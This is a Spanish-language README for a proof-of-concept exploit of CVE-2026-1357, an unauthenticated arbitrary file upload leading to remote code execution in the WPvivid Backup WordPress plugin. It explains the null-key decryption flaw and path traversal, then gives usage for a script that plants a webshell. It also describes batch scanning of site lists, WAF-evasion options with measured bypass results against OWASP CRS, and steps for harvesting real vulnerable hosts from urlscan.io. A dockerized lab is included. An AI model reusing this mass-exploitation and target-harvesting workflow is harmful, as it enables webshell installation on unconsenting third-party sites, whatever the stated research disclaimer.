
Prueba de concepto de exploit para CVE-2026-1357, una subida de archivos arbitraria sin autenticación en WPvivid Backup & Migration que conduce a la ejecución remota de código. Incluye un script independiente en Python, técnicas de evasión de WAF y un laboratorio vulnerable dockerizado para autorizar
PoC para CVE-2026-1357 (CVSS 9.8 Crítico, CWE-434): una subida de archivos arbitraria sin autenticación en el plugin WPvivid Backup & Migration para WordPress que conduce a la ejecución remota de código. Corregido en 0.9.124 (changeset 3448386). Reportado por Lucas Montes a través del programa Bug Bounty de Wordfence.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Esta prueba de concepto se proporciona únicamente para investigación de seguridad autorizada, educación y pruebas defensivas.
El manejador send_to_site sin autenticación (includes/customclass/class-wpvivid-send-to-site.php) descifra un blob proporcionado por el atacante y escribe el contenido de $params['data'] en wp-content/wpvividbackups/<nombre controlado por el atacante> — sin autenticación, sin nonce y sin saneamiento de rutas en name.
La protección prevista es RSA: el mensaje debe estar cifrado con una clave de sesión aleatoria, que a su vez está cifrada con RSA usando la clave del sitio. El fallo está en WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // devuelve FALSE en caso de error (blob de clave inválido)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE se trata como una clave de bytes nulos
return $rij->decrypt($data);
El método Crypt_RSA::decrypt() de phpseclib devuelve false cuando el blob de clave proporcionado no puede descifrarse (por ejemplo, cuando openssl_private_decrypt() falla), y el plugin no aborta. false se pasa entonces a Crypt_Rijndael::setKey(), donde strlen(false) → 0 → la clave se rellena con 16 bytes nulos (AES-128, modo CBC, IV nulo). Por lo tanto, un atacante "cifra" la carga útil con una clave nula totalmente predecible — sin necesidad de conocer la clave real del sitio.
La carga útil es JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 de PHP>"}
name se concatena en la ruta sin saneamiento (str_replace('wpvivid','wpvivid_temp', $name) solo reescribe la subcadena "wpvivid"), por lo que ../../ escapa de wp-content/wpvividbackups/ hacia la raíz web. Cuando file_size/md5 coinciden, el archivo temporal se renombra al nombre elegido por el atacante → PHP accesible públicamente → RCE.
La corrección (changeset 3448386) aborta cuando falla el paso RSA:
if ($key === false || empty($key)) {
return false;
}
Objetivo:
wpvivid_api_token debe existir y no estar caducada — se crea cuando un administrador hace clic en Generar en WPvivid → Ajustes → Migración automática (común en sitios que usan la función de migración)Atacante:
script.py es totalmente autónomo: solo biblioteca estándar, sin importaciones locales, sin archivos externos. CLI posicional simple:
# objetivo único
python script.py https://target.example.com
# comando personalizado
python script.py https://target.example.com --command "uname -a"
# modo por lotes (una URL por línea) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# Evasión de WAF: nombres/valores de parámetros codificados en porcentaje o cuerpo multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# auto-eliminar el webshell después de la prueba
python script.py https://target.example.com --cleanup
Códigos de salida: 0 vulnerable, 1 en caso contrario.
../lab/ contiene un objetivo vulnerable dockerizado (WordPress 6.8 + fuente de WPvivid 0.9.123 desde plugins/):
cd ../lab
docker compose up -d
# completa la instalación de WordPress en http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Fuentes verificadas que funcionan (probadas en vivo, sin necesidad de cuenta):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 páginas indexadas que hacen referencia al slug del plugin; haz clic y recopila los nombres de host. Cada URL de resultado comienza con la ruta del plugin (/wp-content/plugins/wpvivid-backuprestore/), por lo que la extracción de hosts es fácil.Consultas que se probaron y NO producen objetivos (excluidas a propósito):
Dorks de Google/Bing (inurl: devuelve solo las páginas de wordpress.org del propio plugin o un muro anti-bots), DuckDuckGo (igual), Shodan http.html: (HTML truncado indexado, cero resultados), comodín de Wayback CDX (vacío), PublicWWW (bloqueo de scraping de invitados).
Alimenta los hosts recopilados al triaje (integrado en script.py como --triage), que comprueba en cada sitio:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (comprobación sin autenticación de bajo ruido; las cadenas de consulta ?ver= de los assets en el HTML son el respaldo)wpvivid_action=send_to_site&wpvivid_content=AAAA:
respuesta JSON (The key is invalid.) = wpvivid_api_token existe;
vacío = sin token / plugin inactivo / WAF descartó la sondaSolo los sitios que son <= 0.9.123 y con token activo se escriben en in-scope.txt, luego:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Técnicas portadas de un uploader de 2025 de larga duración que siguió funcionando en entornos reales (mismo autor):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, Referer del mismo origen, UA de navegadorReferer del mismo origen--threads N) con tiempos de espera cortos por solicitudsuccess.txt / failed.txt escritos en modo por lotes, solo los shells verificados se registran como éxito (como el archivo success del original)--encode / --multipart para evasión de la forma de la solicitud../lab/waf/ añade un proxy inverso owasp/modsecurity-crs:apache delante del WordPress vulnerable (WAF en :8092, objetivo sin protección en :8093). Comportamiento medido:
| Paso | Resultado a través de CRS |
|---|---|
| POST de subida (plano) | pasa — el blob AES + los encabezados AJAX no coinciden con ninguna regla de CRS |
POST de subida (--encode) | pasa |
POST de subida (--multipart) | pasa |
GET del shell ?<p>=id / hostname / ls | pasa, el comando se ejecuta |
GET del shell ?<p>=id; hostname; uname -a | 403 — reglas de inyección de comandos 932xxx de CRS |
| GET plano (marcador PWN-OK) | pasa |
La subida cifrada es invisible para la inspección de contenido de CRS (misma propiedad de supervivencia que el AJAX de apariencia permitida del uploader de 2025). La única superficie de CRS es el GET de comando de seguimiento, por lo que la herramienta ahora usa --command id por defecto y confirma el RCE mediante el marcador PWN-OK del GET plano incluso cuando el GET de comando es filtrado por el WAF (se reporta como vulnerable con una nota). Los WAF en el host que firman wpvivid_action=send_to_site (por ejemplo, el parche virtual de Wordfence) aún bloquean la subida en sí a nivel del plugin — ningún truco de forma de solicitud supera esos.